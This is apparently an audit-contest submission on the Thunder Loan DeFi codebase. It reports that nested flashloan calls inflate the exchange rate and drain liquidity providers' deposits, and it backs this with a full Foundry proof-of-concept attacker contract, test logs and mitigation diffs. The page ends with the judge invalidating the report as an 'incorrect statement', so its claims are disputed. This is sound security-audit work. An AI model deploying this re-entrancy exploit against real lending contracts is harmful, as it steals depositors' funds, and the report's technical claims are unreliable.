Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

`flashloan` has no re-entrancy protection, so nesting it credits the exchange rate with one fee per level while only a single fee is ever paid — 140 credits for one fee in a single transaction, and the whole pool in twenty-one

flashloan credits updateExchangeRate(fee) before the loan and validates repayment with a balance snapshot, so nested calls all see the same snapshot and are all satisfied by one payment

Description

  • flashloan does three things in this order: it credits the fee to the exchange rate, it lends the money out, and it then checks that the AssetToken's balance came back to startingBalance + fee. The credit happens unconditionally and up front; the check happens against a number read from the same place at the start.

  • Nothing prevents the borrower from calling flashloan again from inside executeOperation. s_currentlyFlashLoaning[token] is set at :198, but it is only ever read by repay (:220) — it is not an entry guard, and there is no nonReentrant modifier anywhere in the codebase.

// src/protocol/ThunderLoan.sol:180-217
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
@> uint256 startingBalance = IERC20(token).balanceOf(address(assetToken)); // @> snapshot, per invocation
...
uint256 fee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(fee); // @> the fee is BOOKED before a single token has been paid
...
@> s_currentlyFlashLoaning[token] = true; // @> set, but never checked on entry
assetToken.transferUnderlyingTo(receiverAddress, amount);
@> receiverAddress.functionCall(...); // @> the borrower may call flashloan() again from here
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) { // @> satisfied by the balance, not by "did YOU pay"
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}

The exploit follows directly from those three facts. If the borrower returns amount to the AssetToken before recursing, the next invocation reads exactly the same startingBalance, quotes exactly the same fee, and books another rate increase. At the deepest level the borrower pays fee once. On the way back out, every level checks endingBalance >= startingBalance + fee against identical numbers, so one payment discharges all of them.

function executeOperation(address, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
tok.transfer(address(asset), amount); // restore the snapshot the next level will read
if (++depth < maxDepth) {
tl.flashloan(address(this), tok, amount, ""); // book another fee that will never be paid
} else {
tok.transfer(address(asset), fee); // ONE fee for the entire stack
}
return true;
}

Each level multiplies the exchange rate by (totalSupply + fee) / totalSupply (AssetToken.sol:89), so N levels multiply it by that factor to the power N. The rate is persistent state, so the effect also compounds across transactions — nothing resets it, and AssetToken has no function that can lower it.

Depth is capped by the EVM's 1024-frame call limit, not by gas: 140 levels cost 4.87M gas, comfortably inside one block, so the attacker is limited by frames and can send many such transactions per block.

ThunderLoanUpgraded.flashloan (:178-215) is logically identical, so the planned upgrade does not fix this.

Risk

Likelihood:

  • Permissionless, no privileges, no race, no market conditions. The attacker needs one contract and enough capital for a single flash-loan fee.

  • The recursion is a two-line change to the standard receiver. It requires no unusual EVM behaviour — just calling a public function that was never guarded.

  • Deterministic and repeatable. The inflated rate persists between transactions, so the attacker chooses how far to push it.

Impact:

  • Complete loss of all liquidity-provider deposits. In the measured run the attacker puts in 150 tokens, takes out 1,150, and the honest liquidity provider's 1,000-token deposit is left backed by 42 wei.

  • The protocol's core accounting is destroyed, not merely skewed: after 21 transactions the AssetToken holds 1,131 tokens while its shares are booked at 60,688 — a 54× overstatement, funded by 31.5 tokens of real fees.

  • It is profitable in a single transaction with no prior position: deposit, nest, redeem, all in one call — measured profit 19.56 tokens for a 1.5-token fee.

  • The damage is irreversible by the owner. s_exchangeRate is private with no setter, and AssetToken is deployed with new (ThunderLoan.sol:234), not behind a proxy — so even a ThunderLoan upgrade cannot correct an inflated rate.

Proof of Concept

Three demonstrations: profitable in one transaction, drains the pool when repeated, and unaffected by the planned upgrade.

Save as test/PoC_H04.t.sol and run forge test --mt test_H04 -vv:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console2 } from "forge-std/Test.sol";
import { ThunderLoan } from "../src/protocol/ThunderLoan.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { ERC20Mock } from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { MockPoolFactory } from "./mocks/MockPoolFactory.sol";
contract NestBomb {
ThunderLoan private immutable tl;
IERC20 private immutable tok;
AssetToken private immutable asset;
uint256 private depth;
uint256 private maxDepth;
constructor(ThunderLoan _tl, IERC20 _tok) {
tl = _tl;
tok = _tok;
asset = _tl.getAssetFromToken(_tok);
}
function executeOperation(address, uint256 amount, uint256 fee, address, bytes calldata)
external
returns (bool)
{
tok.transfer(address(asset), amount); // restore the snapshot
if (++depth < maxDepth) {
tl.flashloan(address(this), tok, amount, ""); // book another unpaid fee
} else {
tok.transfer(address(asset), fee); // ONE fee for the whole stack
}
return true;
}
function attackOnce(uint256 deposit, uint256 amount, uint256 n) external {
tok.approve(address(tl), deposit);
tl.deposit(tok, deposit);
depth = 0;
maxDepth = n;
tl.flashloan(address(this), tok, amount, "");
_redeemMax();
}
function bomb(uint256 amount, uint256 n) external {
depth = 0;
maxDepth = n;
tl.flashloan(address(this), tok, amount, "");
}
function dep(uint256 a) external {
tok.approve(address(tl), a);
tl.deposit(tok, a);
}
function cashOut() external {
_redeemMax();
}
/// redeem is uncapped, so ask for exactly what the pool can still pay
function _redeemMax() private {
uint256 pool = tok.balanceOf(address(asset));
uint256 want = pool * 1e18 / asset.getExchangeRate();
uint256 mine = asset.balanceOf(address(this));
tl.redeem(tok, want < mine ? want : mine);
}
}
contract PoC_H04 is Test {
ThunderLoan tl;
ERC20Mock t;
AssetToken asset;
address lp = makeAddr("honestLP");
uint256 constant LP_DEPOSIT = 1000e18;
function setUp() public {
MockPoolFactory f = new MockPoolFactory();
t = new ERC20Mock();
f.createPool(address(t));
tl = ThunderLoan(address(new ERC1967Proxy(address(new ThunderLoan()), "")));
tl.initialize(address(f));
tl.setAllowedToken(t, true);
asset = tl.getAssetFromToken(t);
t.mint(lp, LP_DEPOSIT);
vm.startPrank(lp);
t.approve(address(tl), LP_DEPOSIT);
tl.deposit(t, LP_DEPOSIT);
vm.stopPrank();
}
function test_H04_profitableInOneTransaction() public {
NestBomb b = new NestBomb(tl, IERC20(address(t)));
uint256 capital = 105e18;
t.mint(address(b), capital);
uint256 poolBefore = t.balanceOf(address(asset));
console2.log("rate before :", asset.getExchangeRate());
console2.log("pool before :", poolBefore);
b.attackOnce(100e18, 500e18, 140); // deposit + 140 nested levels + redeem, ONE transaction
console2.log("rate after :", asset.getExchangeRate());
console2.log("attacker capital in :", capital);
console2.log("attacker capital out :", t.balanceOf(address(b)));
console2.log("attacker profit :", t.balanceOf(address(b)) - capital);
console2.log("pool after :", t.balanceOf(address(asset)));
assertGt(t.balanceOf(address(b)), capital, "profitable in a single transaction");
}
function test_H04_repeatToFullDrain() public {
NestBomb b = new NestBomb(tl, IERC20(address(t)));
uint256 capital = 150e18;
t.mint(address(b), capital);
b.dep(100e18);
uint256 poolBefore = t.balanceOf(address(asset));
for (uint256 i = 0; i < 21; i++) {
b.bomb(500e18, 140);
}
console2.log("rate after 21 transactions :", asset.getExchangeRate());
console2.log("pool underlying :", t.balanceOf(address(asset)));
console2.log("total fees actually paid :", t.balanceOf(address(asset)) - poolBefore);
console2.log("book value of all shares :", asset.totalSupply() * asset.getExchangeRate() / 1e18);
b.cashOut();
console2.log("attacker capital in :", capital);
console2.log("attacker capital out :", t.balanceOf(address(b)));
console2.log("honest LP deposited :", LP_DEPOSIT);
console2.log("pool left for the honest LP:", t.balanceOf(address(asset)));
assertLt(t.balanceOf(address(asset)), 1e15, "pool emptied");
}
function test_H04_upgradedIsAlsoVulnerable() public {
MockPoolFactory f = new MockPoolFactory();
ERC20Mock t2 = new ERC20Mock();
f.createPool(address(t2));
ThunderLoanUpgraded u =
ThunderLoanUpgraded(address(new ERC1967Proxy(address(new ThunderLoanUpgraded()), "")));
u.initialize(address(f));
u.setAllowedToken(t2, true);
AssetToken a2 = u.getAssetFromToken(IERC20(address(t2)));
t2.mint(lp, LP_DEPOSIT);
vm.startPrank(lp);
t2.approve(address(u), LP_DEPOSIT);
u.deposit(IERC20(address(t2)), LP_DEPOSIT);
vm.stopPrank();
console2.log("[V2] rate before :", a2.getExchangeRate());
NestBomb b = new NestBomb(ThunderLoan(address(u)), IERC20(address(t2)));
t2.mint(address(b), 5e18);
b.bomb(500e18, 140);
console2.log("[V2] rate after one nest :", a2.getExchangeRate());
console2.log("[V2] fee actually paid :", t2.balanceOf(address(a2)) - LP_DEPOSIT);
assertGt(a2.getExchangeRate(), 1.2e18, "the upgrade does not fix it");
}
}

Output:

[PASS] test_H04_profitableInOneTransaction() (gas: 5820563)
Logs:
rate before : 1003000000000000000
pool before : 1000000000000000000000
rate after : 1214216691877266442
attacker capital in : 105000000000000000000
attacker capital out : 124558493706606823727
attacker profit : 19558493706606823727
pool after : 980441506293393176273
[PASS] test_H04_repeatToFullDrain() (gas: 101074689)
Logs:
rate after 21 transactions : 55186431844149270488
pool underlying : 1131500000000000000000
total fees actually paid : 31500000000000000000
book value of all shares : 60688568618241919589442
attacker capital in : 150000000000000000000
attacker capital out : 1149999999999999999958
honest LP deposited : 1000000000000000000000
pool left for the honest LP: 42
[PASS] test_H04_upgradedIsAlsoVulnerable() (gas: 15124057)
Logs:
[V2] rate before : 1000000000000000000
[V2] rate after one nest : 1233483965018373115
[V2] fee actually paid : 1500000000000000000

The third run is the cleanest statement of the defect: on a brand-new ThunderLoanUpgraded the exchange rate starts at exactly 1e18, one transaction moves it to 1.2335e18, and the AssetToken received exactly 1.5 tokens. The protocol booked 233 tokens of yield for 1.5 tokens of revenue.

Notes on the numbers, so they are not read as more than they are

  • The per-level multiplier is fee / totalSupply, not a fixed 0.3%. Borrowing a larger fraction of the pool raises it; borrowing 500 against a 1,100-token supply gives ~0.136% per level, which is what the runs above use. This is the conservative setting, not the optimal one.

  • redeem is uncapped and will revert if the attacker asks for more than the AssetToken holds, which is why the PoC redeems min(myShares, poolBalance * 1e18 / rate). A naive "redeem everything" reverts — worth knowing before reproducing.

  • 140 levels is the deepest single transaction I could drive here; the binding constraint is the EVM's call-depth limit rather than the block gas limit, so this is not something a gas cap mitigates.

Recommended Mitigation

Two independent changes; either one alone stops this exploit, and both are worth having.

Refuse re-entry outright — the flag the contract already maintains is exactly the right one, it is simply never consulted on entry:

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
+ if (s_currentlyFlashLoaning[token]) {
+ revert ThunderLoan__CurrentlyFlashLoaning();
+ }
AssetToken assetToken = s_tokenToAssetToken[token];

And do not book revenue before it exists — credit the fee only once repayment has been verified:

uint256 fee = getCalculatedFee(token, amount);
- // slither-disable-next-line reentrancy-vulnerabilities-2 reentrancy-vulnerabilities-3
- assetToken.updateExchangeRate(fee);
-
emit FlashLoan(receiverAddress, token, amount, fee, params);
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(...);
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
+ assetToken.updateExchangeRate(fee); // only now is the fee real
s_currentlyFlashLoaning[token] = false;
}

Adding OpenZeppelin's ReentrancyGuardUpgradeable and marking deposit, redeem and flashloan as nonReentrant is worth doing on top: the contract hands control to an arbitrary address at :201 while funds are out and has no re-entrancy protection at all today.

Finally — and independently of this fix — AssetToken should expose an owner-gated way to correct s_exchangeRate, or be deployed behind a proxy. As written, any accounting corruption of the rate is permanent even for the protocol's own operators.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 12 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!